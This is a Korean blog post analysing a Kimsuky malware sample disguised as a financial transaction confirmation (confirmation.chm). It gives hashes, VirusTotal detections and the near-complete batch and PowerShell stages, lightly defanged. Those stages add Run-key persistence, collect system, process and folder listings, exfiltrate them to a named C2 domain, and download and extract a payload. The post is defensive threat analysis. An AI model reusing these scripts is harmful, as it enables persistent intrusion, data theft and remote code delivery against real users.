오늘은 북한 해킹단체 김수키(Kimsuky) 에서 만든 금융거래확인서로 위장한 악성코드 confirmation.chm(2024.12.10)에 대해 글을 적어보겠습니다. 일단 해당 금융거래확인서가 발생이 된 것은 2024.9.23일로 확인이 되면 혁신성장촉진자금(운전) 부분으로 돼 있으며 경기도 이천 쪽 중소기업으로 대상으로 타겟한것 같기도 합니다. 먼저 악성코드 해수값은 다음과 같습니다.
파일명:confirmation.chm
사이즈:312,240 Bytes
MD5:08b4bcee92417560d61c5f29649cdfad
SHA-1:38032503b59125fb464e1b7aaa449d33caaafc29
SHA-256:e6bcdb402999f6f35351c0b9a1be84345aea88c3f662ba27341d7857aeb8cc39
일단 해당 코드는 chm 즉 윈도우 도움말처럼 위장하고 있지만 요즈음 이런 것 거의 안 씀
일단 해당 악성코드 분석을 조금 더 박신주의 정신으로 하려고 악성코드를 풀어주면 다음과 같은 파일들이 있는 것을 확인할 수가 있습니다.
먼저 해당 악성코드를 실행하면 openCI.vbs를 실행을 하게 되어져 있는 것을 확인할 수가 있습니다.
C:\Users\Public\Libraries 경로에 있어야 하며 이를 통해 추가적인 악성코드 동작을 합니다.
그리고 사용자 에게는 back.png 이라는 파일을 보여 주게 돼 있습니다.
openCI은 0385768.bat을 실행하려는 것이기 때문에 건너뜀
0385768.bat 코드
@ecxo off
rem aNlW(a)Ya(Z)CNhEeJJvyXnk
pushd "%~(d)p0"
reg query HK(C)U\SOFTWARE\Microso(f)t\Windows\CurrentVe(r)sion\Run /v ope(n)CI > nul
if %ERRORLEVEL% equ 0 (goto NOR(M)AL) else (goto R(E)GISTER)
:REGISTE(R)
reg add HKC(U)\SOFTWARE\Microsoft\Windows\CurrentV(e)rsion\Run /v openCI /t REG_SZ /d "\"%~dp0openCI(.)vbs\""
:NORMAL
if exist "8485823(.)bat" (
call 8485823(.)bat > nul
del /f /q 8485823(.)bat > nul
)
set r=hxxps://nasweir(.0com
call 5674932(.)bat %r% > nul
call 7572639(.)bat %r% > nul
timeout -t 120 /nobreak
goto NORMAL
코드 분석
현재 스크립트가 위치한 디렉터리로 작업 디렉터리를 변경
%~dp0는 스크립트 파일의 경로를 반환 이를 통해 상대 경로 문제를 방지
레지스터리 작업
레지스트리를 쿼리하여HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 키에 openCI 항목이 있는지 확인
Run 부분은 컴퓨터가 시작할 때 시작을 하는 프로그램들이 있는 곳이므로 부팅 시 계속 실행을 하기 위함
ERRORLEVEL 값이 0이면 openCI 항목이 존재(정상 등록됨)
정상 등록이 되지 않았다면 값이 존재하지 않기 때문에 goto REGISTER 로 이동
레지스트리에 openCI 라는 이름으로 현재 디렉터리에 있는 openCI.vbs를 등록
HKCU (HKEY_CURRENT_USER)경로에 저장
사용자가 로그인할 때마다 openCI.vbs가 실행됨
8485823.bat 파일이 존재하면 해당 파일을 호출
호출 후 파일을 강제로 삭제(del /f /q)
5674932.bat와 7572639.bat 파일을 호출하며 매개변수로 원격 주소 hxxps://nasweir(.)com 전달
timeout -t 120:120초 동안 대기
이후 goto NORMAL로 돌아가 무한 반복
8485823.bat 코드
@e??o off
rem bTskBNJ(g)wkFixAbgeujN
pushd "%~d(p)0"
systeminfo > (%)~dp0s
timeout -t 1 /no(b)reak
tasklist > %~d(p)0t
timeout -t 1 /nob(r0eak
dir "C:\Users\%usern(a)me%\Desktop" /a/o-d/s > %~dp0e
timeout -t 1 /nob(r)eak
dir "C:\Users\%usern(a)me%\Downloads" /a/o-d/s > %~dp0o
timeout -t 1 /n(o)break
set l=hxxps://nasweir(.)com
call 3847683(.)bat %l% "%~dp0s" > nul
timeout -t 1 /no(b)reak
call 3847683(.)ba(t) %l% "%~dp0t" > nul
timeout -t 1 /nobr(e)ak
call 3847683(.)bat %l% "%~dp0e" > nul
timeout -t 1 /nobreak
call 3847683(.)bat %l% "%~dp0o" > nul
timeout -t 1 /n(o)break
코드 분석
1. 시스템 정보 수집
Windows 명령어 systeminfo를 실행하여 시스템 정보를 수집
수집된 정보를 스크립트가 있는 디렉터리의 s 파일에 저장
수집 내용하는 목록:
운영체제 이름, 운영체제 버전
시스템 모델, 프로세서 정보
네트워크 구성
설치된 패치 정보 등
2. 실행 중인 프로세스 수집
tasklist 명령어를 실행하여 실행 중인 모든 프로세스 목록을 수집
프로세스 목록을 t 파일에 저장
수집 내용:
실행 중인 프로세스 이름
PID (프로세스 ID)
메모리 사용량 등
3. 파일 정보 수집
사용자의 바탕화면 디렉터리의 파일 및 하위 폴더 목록을 e 파일에 저장
다운로드(Downloads) 디렉터리의 파일 및 하위 폴더 목록을 o 파일에 저장
파일명, 크기, 수정 날짜 등 디렉터리 정보가 저장
/a 옵션:숨긴 파일 포함
/o-d 옵션:최신 파일부터 정렬
/s 옵션: 하위 디렉터리 포함
4. 원격 서버로 데이터 전송
hxxps://nasweir(.)com 을 매개변수로 전달.
이전 단계에서 생성된 파일(s,t,e,o)을 3847683.bat을 통해 원격 서버로 전송
0385768. bat 코드
@echo ?ff
rem aNlWaYa(Z)CNhEeJJvyXnk
pushd "%~d(p)(0)"
reg query HKCU\SOFTW(A)RE\Microsoft\Windows\CurrentVersion\Run /v openCI > nul
if %ERROR(L)EVEL% equ 0 (goto NORMAL) else (goto REGISTER)
:REGISTER
reg add HKCU(\)SOFTWARE\Microsoft\Windows\CurrentVersion\(R)un /v openCI /t REG_SZ /d "\"%~dp0openCI(.)vbs\""
:NORMAL
if exist "8485823(.)bat" (
call 8485823(.)bat > nul
del /f /q 8485823(.)bat > nul
)
set r=hxxps://nasweir(.)com
call 5674932.bat %r% > nul
call 7572639.bat %r% > nul
timeout -t 120 /nobreak
goto NORMAL
코드 분석
1.레지스트리 확인 및 설정
레지스트리 쿼리:HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 경로에서 openCI라는 값이 존재하는지 확인
값이 존재하지 않으면: REGISTER으로 이동하여 값을 추가
REG_SZ 형식으로 openCI.vbs 파일의 경로를 추가
이렇게 컴퓨터 재시작 시 해당 악성코드는 계속 실행
2. 스크립트 실행 및 삭제
8485823.bat 파일이 존재하면 호출
실행하고 해당 배치 파일을 강제로 삭제
-3. 원격 서버와의 상호작용
hxxps://nasweir(.)com을 변수 r에 저장
5674932.bat`와 7572639.bat 파일을 호출하고 해당 URL에 매개변수로 전달
지속성 유지
timeout 명령어로 120초 대기
이후 goto NORMAL로 돌아가 루프 반복
2837492.bat 코드
@ec?o off
rem D(e)piaDQCxcHlOhQRYGFW
pushd "%(~)dp0"
set "l=%(~)1"
set "f=%(~)2"
set n=44
powershell -ep bypass -comma(n)d "Add-Type -Assemb(l)yName System.IO.Compression(.)FileSystem;$l='%l%';$f='%f%';$c=[Convert]::ToBase64S(t)ring([System.Text(.)Encoding]::ASCII(.)GetBytes($env:COM(P)UTERNAME));$a='Mozilla/5.0 (comp(a)tible; MSIE 10.0; Windows NT 6.*; W(O)W64; Trident/6.0)';$u=$l+'/out(.)php?cn='+$c;$r=(Invoke-Re(s)tMethod -uri $u -(U)serAgent $a);if ($r.Length (-)gt 32){Remove-Item $f -Force;$b=[Convert]::(F)romBase64String($r);[System(.)IO.File]::WriteA(l)lBytes($f,$b);$h=[System(.)IO.Compression(.)ZipFile]::Ope(n)Read($f);foreach ($e in $h.Entries){[System.IO.C(o)mpression.ZipFileExtensions]::ExtractToF(i)le($e,$e.FullN(a)me,$true);}$h.Dispose();Remove-Item $f -Force;}"
코드 분석
PowerShell 명령을 실행하여 다음과 같은 작업을 수행
ep bypass:실행 정책(Execution Policy)을 bypass로 설정 해서 제한 없이 PowerShell 스크립트를 실행
원격 서버에서 데이터 요청 및 수신 그리고 수신된 데이터가 조건에 맞으면 파일로 저장 및 ZIP 파일을 디코딩 및 압축 해제 및 원본 파일 삭제
2. 서버와의 통신
$l:첫 번째 매개변수로 전달받은 주소
$f:두 번째 매개변수로 전달받은 파일 경로.
$c:시스템의 컴퓨터 이름(COMPUTERNAME)을 Base64로 인코딩
$a: 사용자 에이전트(User-Agent)를 지정 브라우저처럼 보이게 위장하여 트래픽이 탐지되지 않도록 함
$u: URL/out(.)php?cn=(컴퓨터 이름) 형식으로 원격 서버 요청 주소 생성
$r: 서버로부터 응답 데이터 수신
2024-12-12 00:42:02 UTC 기준 바이러스 토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Downloader/CHM.Generic
AliCloud:SypWare:Win/Phish.a
ALYac:Trojan.Downloader.CHM
Arcabit:Heur.BZC.ONG.Pantera.191.4F0A8057 [many]
Avast:Other:Malware-gen [Trj]
AVG:Other:Malware-gen [Trj]
BitDefender:Heur.BZC.ONG.Pantera.191.4F0A8057
CTX:Chm.trojan.pantera
Emsisoft:Heur.BZC.ONG.Pantera.191.4F0A8057 (B)
eScan:Heur.BZC.ONG.Pantera.191.4F0A8057
ESET-NOD32:Multiple Detections
Fortinet:BAT/Kimsuky.GOSU!tr
GData:BAT.Trojan.Agent.W042KM
Google:Detected
Ikarus:Trojan.HTML.Agent
Kaspersky:HEUR:Trojan.BAT.Agent.gen
Lionic:Trojan.HTML.Pantera.4!c
Rising:Trojan.MouseJack/HTML!1.BE26 (CLASSIC)
Skyhigh (SWG):Artemis!Trojan
Symantec:Trojan.Gen.MBT
Tencent:Bat.Trojan.Agent.Ssmw
Trellix (HX):Heur.BZC.ONG.Pantera.191.4F0A8057
TrendMicro:TROJ_FRS.VSNTLB24
TrendMicro-HouseCall:TROJ_FRS.VSNTLB24
Varist:BAT/Agent.ASI
VIPRE:Heur.BZC.ONG.Pantera.191.4F0A8057
기본적으로 안티바이러스 프로그램을 설치를 및 실시간 감시 업데이트를 하는 습관과 함부로 파일을 열어보지 않는 것 그리고 기본적인 보안 수칙을 잘 지키는 것이 안전하게 컴퓨터를 사용하는 방법입니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
윈도우 11 KB5048685 업데이트로 인해 와이 파이 및 시작 메뉴 작동이 중지됨 (0) | 2024.12.27 |
---|---|
Kimsuky(김수키)에서 만든 자유 아시아 방송으로 위장 해서 특정 북한 인권운동가 노린 악성코드-log_processlist.ps1(2024.12.02) (0) | 2024.12.26 |
다시 돌아온 LockBit 4.0 랜섬웨어 간단 분석 (0) | 2024.12.25 |
북한 김수키(Kimsuky)에서 만든 악성코드-1.txt(2024.12.14) (0) | 2024.12.24 |
맥 OS(Mac OS)CVE-2024-44175 취약점 간단 분석 (0) | 2024.12.19 |
Mullvad VPN CVE-2024-55884 심각한 보안 취약점 (0) | 2024.12.18 |
북한 해킹 단체 김수키(Kimsuky)에서 만든 스피어 피싱으로 제작된 악성코드-열차9월10일원고(화)_4.bat(2024.12.02) (0) | 2024.12.17 |
워드프레스(WordPress) Hunk Companion WordPress 플러그인 취약점 악용한 플러그인 설치 (0) | 2024.12.16 |